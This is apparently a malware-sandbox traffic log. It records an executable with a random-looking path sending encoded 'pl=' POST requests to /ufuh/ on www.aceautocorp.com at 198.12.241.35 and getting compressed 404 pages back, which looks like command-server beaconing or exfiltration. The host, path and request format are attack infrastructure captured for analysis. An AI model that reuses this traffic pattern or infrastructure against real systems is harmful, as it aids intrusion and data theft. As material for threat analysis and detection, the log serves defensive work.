Q7KWasEz+0JF+jF/AQpN+ADUVDELX3DEw8pNARu5A4mzAQRVXFhJl+OQlRimJVHYQYq9GG5B72KZOT4D0gSnEdDY5M7kFJp0h/YLX9pa3x0it/n+66ryHLTNXGfZ1slN93zRJlwSfwA4qZ1fnfmkmi+A+bi/Y5R/2apLe8i4VxUKlMurKrf2cvhWZZZBwRRhH2Gs4Da1IffmvHXnxzYogWjvjA59PcaOrtbcoPF17KAKDh7sUye34tTv2Au9f+MFARvGiFHslJxItk8wHmFGEjJ1U3hIRPdDZJECYeDBi+PtO0gsfdd [TRUNCATED]
May 2, 2024 08:28:11.235708952 CEST	112	OUT	Data Raw: 66 53 67 56 41 41 67 41 2f 33 33 4c 6d 79 55 7a 71 6a 41 30 38 68 57 64 66 38 75 78 7a 48 32 6c 37 47 6b 6c 48 79 7a 50 6b 48 41 63 4d 69 6e 39 77 48 47 4a 62 51 79 68 39 4a 50 74 5a 7a 4c 30 58 76 46 35 79 35 6d 2b 38 4b 45 73 63 42 30 47 79 79 Data Ascii: fSgVAAgA/33LmyUzqjA08hWdf8uxzH2l7GklHyzPkHAcMin9wHGJbQyh9JPtZzL0XvF5y5m+8KEscB0Gyy/T8ICYmbAAEYnYbGUicBRA58bOHnCk
May 2, 2024 08:28:11.458331108 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Thu, 02 May 2024 06:28:11 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 9730 Content-Type: text/html; charset=UTF-8 Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 [TRUNCATED] Data Ascii: SC@E`:H@XZgiN~=%n(@_c2$Y2,9zypN1$g38rapddXl=jQQvpyX%'0XT2Z!"pW=E79tL>Jv5`Y+ilPpS:E[R6+\|J?/Gu= cL)v%w]>>1zH}7j5h7\lQM;NiK7p^ucBN6_m},5Ce{fQoPnz]y8v3<&{iy<oD87yW$7D;qe;z;lhBjr$c:ysDuuVQ=Ya1h8uuZ,o:2L.}@yW7+4)EwufxfN!mGw[1\~YiI<fy8DZgk'>sDoO8uI+J{7P~V/.W0U@/EVhzVx&5tUUo<QSF<OMmSy\|7'k?M^6DtJxm"~bW]OYFDAr~5]nij~n
May 2, 2024 08:28:11.458353043 CEST	1289	IN	Data Raw: cf 58 0a 22 e5 df d8 82 60 8c d9 0a cd f7 03 2d ab d5 a0 9b aa 88 ff 52 d3 c2 7f 8c fd a1 ad 16 72 e8 63 6d 46 bd 5a 29 0d 75 b8 77 8b 2b 0f 35 58 f2 31 4f 8f ff bd 6d 2b fe f4 3e b3 26 81 b2 75 8d 44 cc 71 d1 a9 08 35 94 9b 0f 41 98 a8 ca 66 7e Data Ascii: X"`-RrcmFZ)uw+5X1Om+>&uDq5Af~u/I+V7\|Tbr]!oFDkM"!>NLf?gg_(1P!j=3,=s4'blT=Y{5*0?UjNr
May 2, 2024 08:28:11.458373070 CEST	1289	IN	Data Raw: 56 63 31 18 1f 14 f6 fb 26 2e ec f2 5f 42 7b ed bd b6 53 d7 09 b0 a3 50 e2 98 cb 58 a4 8f 6e f0 58 2b ec fb f4 61 fd 3f 55 f6 09 ce cb 2b 97 4a 07 58 92 95 69 9d 31 ae 76 7c 31 13 fa 08 1c 78 c9 76 ec 97 c2 e3 5f a5 45 8f 05 18 3e 66 e7 9d 69 de Data Ascii: Vc1&._B{SPXnX+a?U+JXi1v\|1xv_E>fi+1L-G<`jDbu2qI_H&YAM{VuUcbQwB'oX\$k[DR9#]QmS;'HJb#Q`{m+F&dhZ
May 2, 2024 08:28:11.458434105 CEST	1289	IN	Data Raw: aa 58 ad 61 f7 13 cb c5 a2 6d 8a 35 b1 bc bb 7e 9d 11 e3 06 51 9d 8b 60 b9 17 f6 52 8c 5c 9b d1 b5 73 ce 9c f1 14 44 d4 1d 4e 85 72 86 c7 ea c0 74 51 a6 04 69 19 e0 3b 43 b4 61 9e b5 20 30 37 29 e6 67 a4 53 0f 29 ce f6 48 e9 bc 8b 1a 55 d5 6e 83 Data Ascii: Xam5~Q`R\sDNrtQi;Ca 07)gS)HUn[zJ?LD,)RQdFfvIzbj^XM!) qpaTq0)'RkLWQ'e3vxJ&*<dR3B#)&0
May 2, 2024 08:28:11.458558083 CEST	1289	IN	Data Raw: 12 25 24 4a 3e 44 2d c6 4a de ec 8a 7d 0b e2 80 0c 33 72 ab e1 57 8a 24 27 22 8b 60 4d 79 cc 02 4c 38 03 f1 c2 8c 31 b7 3d 75 a3 ae bd 3d 1d 3f 7e 21 8d 08 24 51 e1 9b f5 ae 25 88 90 a7 b3 e5 18 64 2e 40 e1 1c 4c 30 44 eb df 1c 66 b5 a8 8a 0c 24 Data Ascii: %$J>D-J}3rW$'"`MyL81=u=?~!$Q%d.@L0Df$~$Me$lkKhl6X\W-yBd`"#vvN:]c}:&"aaQLkfO'9^!Bfyc8A2$&Yb<b\|D4$K5%R,P/IUGmW-\5#B6\|mBV%
May 2, 2024 08:28:11.458573103 CEST	1289	IN	Data Raw: 26 df 29 d7 ff ab c6 65 d1 c3 c6 41 78 d2 f4 56 44 47 5c 67 87 f5 55 4d 2d 81 39 3e e1 0c b3 95 04 fe 96 96 c9 60 93 22 d5 94 ba 63 9b cc c6 5d 17 80 2b 18 a9 80 39 1e e1 9c 58 0e 15 2c cf dd 78 c1 57 a5 d7 84 cb 90 ea cb c8 8b 71 d9 ab e1 8c 23 Data Ascii: &)eAxVDG\gUM-9>`"c]+9X,xWq#VuPW6Np^3lqq\|.)Ho2Q!DX:RK?0MC.PZ-Tl2p>I8D1C2U()WD&'SS$r>rg\|#wTo]@C<qg\|H
May 2, 2024 08:28:11.458609104 CEST	1289	IN	Data Raw: 89 4e 47 ca da cd 55 c1 49 2f c4 6c c9 49 d8 4c e2 6e 0b af f7 c6 76 da 4d 53 26 fa ce e5 c0 03 d4 bf 8d 68 c0 ee e8 9b 41 c2 c3 81 ec 4c 87 c1 ea 59 9a a3 39 16 8d d8 1c 25 14 41 ad fa 14 23 01 83 cf a6 ac 56 c5 99 2b aa 0d 89 ca 25 09 3d 98 22 Data Ascii: NGUI/lILnvMS&hALY9%A#V+%="}S#L3%I'0hr<Mw$FUS'tIr1icvk1H4gUR)~,kN#HI-=.UR}V #
May 2, 2024 08:28:11.458674908 CEST	1124	IN	Data Raw: 71 b0 82 42 11 c5 08 57 83 00 00 b6 57 7b 94 97 0c 7a 77 54 eb 12 64 a9 6b 1e 6c 74 3c 8c 0a 04 db c7 50 7d c6 f0 a4 95 40 9c d1 e2 b5 32 03 08 b6 1f d2 f2 9d 09 62 74 3a 1c 4a 42 19 c2 53 35 e4 78 5b 3f 5c ad 17 c3 15 62 7d ab ea 45 ca 39 54 29 Data Ascii: qBWW{zwTdklt<P}@2bt:JBS5x[?\b}E9T)t8Bm=[6Qy[ru\;vH6/ddSp[\RtD*Bx-=B%4%P4/g[jjKXg2:4X\tR-vFv7Nw[^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49179	198.12.241.35	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:18.419702053 CEST	729	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Referer: http://www.aceautocorp.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 6d 43 38 6c 66 71 4d 48 33 4b 39 4f 68 73 66 61 34 2f 48 57 75 5a 74 71 46 64 46 76 42 4a 50 45 4e 45 75 74 78 76 66 46 70 44 72 36 32 38 4f 72 68 4d 72 4f 68 6b 74 4c 62 50 58 6b 52 36 5a 41 6c 4f 52 41 4f 35 35 4d 76 65 35 32 73 75 39 57 39 74 4c 4f 6d 51 75 53 54 59 44 59 64 51 36 4f 47 4a 74 6f 57 55 6b 63 76 4d 61 73 79 45 34 68 50 76 69 6e 66 69 4a 33 51 31 5a 78 65 6d 4a 68 70 63 56 74 43 43 52 43 41 59 4c 63 72 39 6c 47 49 35 2b 79 77 66 47 4e 58 77 62 30 47 34 45 2f 6d 50 58 68 48 45 42 32 32 2f 57 2b 46 6f 61 4a 52 73 46 6c 63 54 66 59 36 49 62 63 45 36 4f 63 4a 51 3d 3d Data Ascii: pl=mC8lfqMH3K9Ohsfa4/HWuZtqFdFvBJPENEutxvfFpDr628OrhMrOhktLbPXkR6ZAlORAO55Mve52su9W9tLOmQuSTYDYdQ6OGJtoWUkcvMasyE4hPvinfiJ3Q1ZxemJhpcVtCCRCAYLcr9lGI5+ywfGNXwb0G4E/mPXhHEB22/W+FoaJRsFlcTfY6IbcE6OcJQ==
May 2, 2024 08:28:18.663295031 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Thu, 02 May 2024 06:28:18 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 9730 Content-Type: text/html; charset=UTF-8 Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 [TRUNCATED] Data Ascii: SC@E`:H@XZgiN~=%n(@_c2$Y2,9zypN1$g38rapddXl=jQQvpyX%'0XT2Z!"pW=E79tL>Jv5`Y+ilPpS:E[R6+\|J?/Gu= cL)v%w]>>1zH}7j5h7\lQM;NiK7p^ucBN6_m},5Ce{fQoPnz]y8v3<&{iy<oD87yW$7D;qe;z;lhBjr$c:ysDuuVQ=Ya1h8uuZ,o:2L.}@yW7+4)EwufxfN!mGw[1\~YiI<fy8DZgk'>sDoO8uI+J{7P~V/.W0U@/EVhzVx&5tUUo<QSF<OMmSy\|7'k?M^6DtJxm"~bW]OYFDAr~5]nij~n
May 2, 2024 08:28:18.663326979 CEST	1289	IN	Data Raw: cf 58 0a 22 e5 df d8 82 60 8c d9 0a cd f7 03 2d ab d5 a0 9b aa 88 ff 52 d3 c2 7f 8c fd a1 ad 16 72 e8 63 6d 46 bd 5a 29 0d 75 b8 77 8b 2b 0f 35 58 f2 31 4f 8f ff bd 6d 2b fe f4 3e b3 26 81 b2 75 8d 44 cc 71 d1 a9 08 35 94 9b 0f 41 98 a8 ca 66 7e Data Ascii: X"`-RrcmFZ)uw+5X1Om+>&uDq5Af~u/I+V7\|Tbr]!oFDkM"!>NLf?gg_(1P!j=3,=s4'blT=Y{5*0?UjNr
May 2, 2024 08:28:18.663345098 CEST	1289	IN	Data Raw: 56 63 31 18 1f 14 f6 fb 26 2e ec f2 5f 42 7b ed bd b6 53 d7 09 b0 a3 50 e2 98 cb 58 a4 8f 6e f0 58 2b ec fb f4 61 fd 3f 55 f6 09 ce cb 2b 97 4a 07 58 92 95 69 9d 31 ae 76 7c 31 13 fa 08 1c 78 c9 76 ec 97 c2 e3 5f a5 45 8f 05 18 3e 66 e7 9d 69 de Data Ascii: Vc1&._B{SPXnX+a?U+JXi1v\|1xv_E>fi+1L-G<`jDbu2qI_H&YAM{VuUcbQwB'oX\$k[DR9#]QmS;'HJb#Q`{m+F&dhZ
May 2, 2024 08:28:18.663357973 CEST	1289	IN	Data Raw: aa 58 ad 61 f7 13 cb c5 a2 6d 8a 35 b1 bc bb 7e 9d 11 e3 06 51 9d 8b 60 b9 17 f6 52 8c 5c 9b d1 b5 73 ce 9c f1 14 44 d4 1d 4e 85 72 86 c7 ea c0 74 51 a6 04 69 19 e0 3b 43 b4 61 9e b5 20 30 37 29 e6 67 a4 53 0f 29 ce f6 48 e9 bc 8b 1a 55 d5 6e 83 Data Ascii: Xam5~Q`R\sDNrtQi;Ca 07)gS)HUn[zJ?LD,)RQdFfvIzbj^XM!) qpaTq0)'RkLWQ'e3vxJ&*<dR3B#)&0
May 2, 2024 08:28:18.663378000 CEST	1289	IN	Data Raw: 12 25 24 4a 3e 44 2d c6 4a de ec 8a 7d 0b e2 80 0c 33 72 ab e1 57 8a 24 27 22 8b 60 4d 79 cc 02 4c 38 03 f1 c2 8c 31 b7 3d 75 a3 ae bd 3d 1d 3f 7e 21 8d 08 24 51 e1 9b f5 ae 25 88 90 a7 b3 e5 18 64 2e 40 e1 1c 4c 30 44 eb df 1c 66 b5 a8 8a 0c 24 Data Ascii: %$J>D-J}3rW$'"`MyL81=u=?~!$Q%d.@L0Df$~$Me$lkKhl6X\W-yBd`"#vvN:]c}:&"aaQLkfO'9^!Bfyc8A2$&Yb<b\|D4$K5%R,P/IUGmW-\5#B6\|mBV%
May 2, 2024 08:28:18.663393974 CEST	1289	IN	Data Raw: 26 df 29 d7 ff ab c6 65 d1 c3 c6 41 78 d2 f4 56 44 47 5c 67 87 f5 55 4d 2d 81 39 3e e1 0c b3 95 04 fe 96 96 c9 60 93 22 d5 94 ba 63 9b cc c6 5d 17 80 2b 18 a9 80 39 1e e1 9c 58 0e 15 2c cf dd 78 c1 57 a5 d7 84 cb 90 ea cb c8 8b 71 d9 ab e1 8c 23 Data Ascii: &)eAxVDG\gUM-9>`"c]+9X,xWq#VuPW6Np^3lqq\|.)Ho2Q!DX:RK?0MC.PZ-Tl2p>I8D1C2U()WD&'SS$r>rg\|#wTo]@C<qg\|H
May 2, 2024 08:28:18.663409948 CEST	1289	IN	Data Raw: 89 4e 47 ca da cd 55 c1 49 2f c4 6c c9 49 d8 4c e2 6e 0b af f7 c6 76 da 4d 53 26 fa ce e5 c0 03 d4 bf 8d 68 c0 ee e8 9b 41 c2 c3 81 ec 4c 87 c1 ea 59 9a a3 39 16 8d d8 1c 25 14 41 ad fa 14 23 01 83 cf a6 ac 56 c5 99 2b aa 0d 89 ca 25 09 3d 98 22 Data Ascii: NGUI/lILnvMS&hALY9%A#V+%="}S#L3%I'0hr<Mw$FUS'tIr1icvk1H4gUR)~,kN#HI-=.UR}V #
May 2, 2024 08:28:18.663425922 CEST	1124	IN	Data Raw: 71 b0 82 42 11 c5 08 57 83 00 00 b6 57 7b 94 97 0c 7a 77 54 eb 12 64 a9 6b 1e 6c 74 3c 8c 0a 04 db c7 50 7d c6 f0 a4 95 40 9c d1 e2 b5 32 03 08 b6 1f d2 f2 9d 09 62 74 3a 1c 4a 42 19 c2 53 35 e4 78 5b 3f 5c ad 17 c3 15 62 7d ab ea 45 ca 39 54 29 Data Ascii: qBWW{zwTdklt<P}@2bt:JBS5x[?\b}E9T)t8Bm=[6Qy[ru\;vH6/ddSp[\RtD*Bx-=B%4%P4/g[jjKXg2:4X\tR-vFv7Nw[^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49180	198.12.241.35	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:28:21.107579947 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Referer: http://www.aceautocorp.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 6d 43 38 6c 66 71 4d 48 33 4b 39 4f 69 4e 76 61 39 65 48 57 2f 70 74 72 5a 4e 46 76 61 35 50 41 4e 45 69 74 78 74 79 41 6f 32 37 36 78 74 65 72 68 75 44 4f 6e 6b 74 4c 51 76 58 67 63 61 5a 61 6c 4f 55 73 4f 35 4a 63 76 63 56 32 2b 35 35 57 37 72 2f 4a 79 77 75 51 46 6f 44 62 64 51 37 55 47 4b 46 73 57 55 68 4c 76 4d 43 73 79 57 67 68 65 76 69 6b 51 43 4a 33 51 31 5a 39 65 6d 49 43 70 63 38 71 43 44 4a 73 41 75 76 63 6f 63 46 47 4f 59 2b 78 32 66 47 4a 65 51 61 51 4e 4e 77 78 6a 4d 72 79 62 6c 68 6b 31 39 47 6c 4b 5a 36 45 62 2f 64 58 61 52 37 47 79 75 75 66 50 36 54 71 4b 6f 56 61 46 32 54 63 59 56 6d 43 39 75 6f 76 53 6e 47 6d 7a 57 4f 31 59 49 2f 44 52 52 50 70 6e 41 6c 49 64 52 65 66 36 79 62 51 6d 77 6d 38 50 63 61 6a 59 33 7a 59 2f 35 57 48 6f 71 48 37 65 71 75 4e 4c 39 47 54 65 2f 64 54 31 77 66 36 64 4c 6d 48 38 33 2f 45 57 35 7a 6c 50 4a 47 6a 62 35 46 68 56 79 58 4e 56 45 51 37 71 31 41 32 65 37 58 7a 4e 71 39 55 4a 45 37 59 56 77 72 42 77 30 68 75 39 75 32 2f 61 39 4d 65 44 67 33 [TRUNCATED] Data Ascii: pl=mC8lfqMH3K9OiNva9eHW/ptrZNFva5PANEitxtyAo276xterhuDOnktLQvXgcaZalOUsO5JcvcV2+55W7r/JywuQFoDbdQ7UGKFsWUhLvMCsyWghevikQCJ3Q1Z9emICpc8qCDJsAuvcocFGOY+x2fGJeQaQNNwxjMryblhk19GlKZ6Eb/dXaR7GyuufP6TqKoVaF2TcYVmC9uovSnGmzWO1YI/DRRPpnAlIdRef6ybQmwm8PcajY3zY/5WHoqH7equNL9GTe/dT1wf6dLmH83/EW5zlPJGjb5FhVyXNVEQ7q1A2e7XzNq9UJE7YVwrBw0hu9u2/a9MeDg3BxwwnvxmQU2cRcb0ZoTOGvu8J+ZjdDZ87Ilc/yRlVblbceoFudcmJQKzLuClsA1FBpobw8PEMhuN7Bf9tpF0S1qkOdG75O+DYuoP3+X5ESJlF/OS0AVwXWRRhpj0nZZO1PQIZn1ZwF98WYw59GgQwLnScbcC27jd3jHHIDFKrO8/TZyykAbaNKIpcVfGxvA2BF/ah+vn1QFoug08M2JnfrpfUWIJWDcUqq4RxT6HPMJVCLrMQErtG3BZNsXW3Ugbm3G7W3ySdaNqHQEEmayKa34fJFgZSBl67cy31ZoQ6JGvlfl3Vu+82K9e0u/wvF7lAvlzGFqJx0uGP6mlEr7v/2SaKdMYN8o1wf1O7y0bC70jBtwdaKWKGEy6aJH6jDvsQuPWBPEVFPrXtQUxTpNAdu7gOmBIQQHfFmtR9HQlKoGJkaoRvq7np5DmuKuWT4DEgS18dCo5M7kFOp0g4YLqKpYvL0it/nrO6rA/LANXJT51zhN9tzR9fwSGbA4GZzOHfmkmhjA+avfY2R/KtpLfbi4ZxU81Mv5SrcU0vsmZZOxwSfBH3Gs4Ta001fkXHFjFzbrIXs/jBtNPKTvWzbc0HFwDKD9jh754yeH4tRP2H8dfrClNVvGuvHpBnx6Vk9A3mJnEgQVU6voRJdDVMEB4GDAbFPu+0gMfdb [TRUNCATED]
May 2, 2024 08:28:21.263585091 CEST	1576	OUT	Data Raw: 66 53 67 35 41 41 34 4d 2f 33 71 4f 6d 33 77 7a 71 68 59 30 36 52 57 65 4a 38 75 4e 77 48 32 37 37 47 59 49 48 79 4c 78 6b 48 51 63 4d 67 54 39 78 6a 61 4a 63 51 79 68 31 70 50 6f 61 7a 4c 58 54 76 35 2b 79 35 76 6a 6b 66 45 77 64 47 38 63 79 78 Data Ascii: fSg5AA4M/3qOm3wzqhY06RWeJ8uNwH277GYIHyLxkHQcMgT9xjaJcQyh1pPoazLXTv5+y5vjkfEwdG8cyxLT0ZOdrNM/CZC6bEkCdzV5k6zZOSeqTADyWzSvJ1f6UbHrho4LYyPmadBy78ckm50NpQOX+06zp5V9BKB6tZTH7oDcxwZyAP+p5vPMuvXU7pnN6hnzZBzG3VuBGUHfw8s0puOKS0guR8OA/SKE+exzBK0wLsYttuV
May 2, 2024 08:28:21.503128052 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Thu, 02 May 2024 06:28:21 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 9730 Content-Type: text/html; charset=UTF-8 Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 [TRUNCATED] Data Ascii: SC@E`:H@XZgiN~=%n(@_c2$Y2,9zypN1$g38rapddXl=jQQvpyX%'0XT2Z!"pW=E79tL>Jv5`Y+ilPpS:E[R6+\|J?/Gu= cL)v%w]>>1zH}7j5h7\lQM;NiK7p^ucBN6_m},5Ce{fQoPnz]y8v3<&{iy<oD87yW$7D;qe;z;lhBjr$c:ysDuuVQ=Ya1h8uuZ,o:2L.}@yW7+4)EwufxfN!mGw[1\~YiI<fy8DZgk'>sDoO8uI+J{7P~V/.W0U@/EVhzVx&5tUUo<QSF<OMmSy\|7'k?M^6DtJxm"~bW]OYFDAr~5]nij~n
May 2, 2024 08:28:21.503161907 CEST	1289	IN	Data Raw: cf 58 0a 22 e5 df d8 82 60 8c d9 0a cd f7 03 2d ab d5 a0 9b aa 88 ff 52 d3 c2 7f 8c fd a1 ad 16 72 e8 63 6d 46 bd 5a 29 0d 75 b8 77 8b 2b 0f 35 58 f2 31 4f 8f ff bd 6d 2b fe f4 3e b3 26 81 b2 75 8d 44 cc 71 d1 a9 08 35 94 9b 0f 41 98 a8 ca 66 7e Data Ascii: X"`-RrcmFZ)uw+5X1Om+>&uDq5Af~u/I+V7\|Tbr]!oFDkM"!>NLf?gg_(1P!j=3,=s4'blT=Y{5*0?UjNr
May 2, 2024 08:28:21.503180027 CEST	1289	IN	Data Raw: 56 63 31 18 1f 14 f6 fb 26 2e ec f2 5f 42 7b ed bd b6 53 d7 09 b0 a3 50 e2 98 cb 58 a4 8f 6e f0 58 2b ec fb f4 61 fd 3f 55 f6 09 ce cb 2b 97 4a 07 58 92 95 69 9d 31 ae 76 7c 31 13 fa 08 1c 78 c9 76 ec 97 c2 e3 5f a5 45 8f 05 18 3e 66 e7 9d 69 de Data Ascii: Vc1&._B{SPXnX+a?U+JXi1v\|1xv_E>fi+1L-G<`jDbu2qI_H&YAM{VuUcbQwB'oX\$k[DR9#]QmS;'HJb#Q`{m+F&dhZ
May 2, 2024 08:28:21.503211021 CEST	1289	IN	Data Raw: aa 58 ad 61 f7 13 cb c5 a2 6d 8a 35 b1 bc bb 7e 9d 11 e3 06 51 9d 8b 60 b9 17 f6 52 8c 5c 9b d1 b5 73 ce 9c f1 14 44 d4 1d 4e 85 72 86 c7 ea c0 74 51 a6 04 69 19 e0 3b 43 b4 61 9e b5 20 30 37 29 e6 67 a4 53 0f 29 ce f6 48 e9 bc 8b 1a 55 d5 6e 83 Data Ascii: Xam5~Q`R\sDNrtQi;Ca 07)gS)HUn[zJ?LD,)RQdFfvIzbj^XM!) qpaTq0)'RkLWQ'e3vxJ&*<dR3B#)&0
May 2, 2024 08:28:21.503254890 CEST	1289	IN	Data Raw: 12 25 24 4a 3e 44 2d c6 4a de ec 8a 7d 0b e2 80 0c 33 72 ab e1 57 8a 24 27 22 8b 60 4d 79 cc 02 4c 38 03 f1 c2 8c 31 b7 3d 75 a3 ae bd 3d 1d 3f 7e 21 8d 08 24 51 e1 9b f5 ae 25 88 90 a7 b3 e5 18 64 2e 40 e1 1c 4c 30 44 eb df 1c 66 b5 a8 8a 0c 24 Data Ascii: %$J>D-J}3rW$'"`MyL81=u=?~!$Q%d.@L0Df$~$Me$lkKhl6X\W-yBd`"#vvN:]c}:&"aaQLkfO'9^!Bfyc8A2$&Yb<b\|D4$K5%R,P/IUGmW-\5#B6\|mBV%
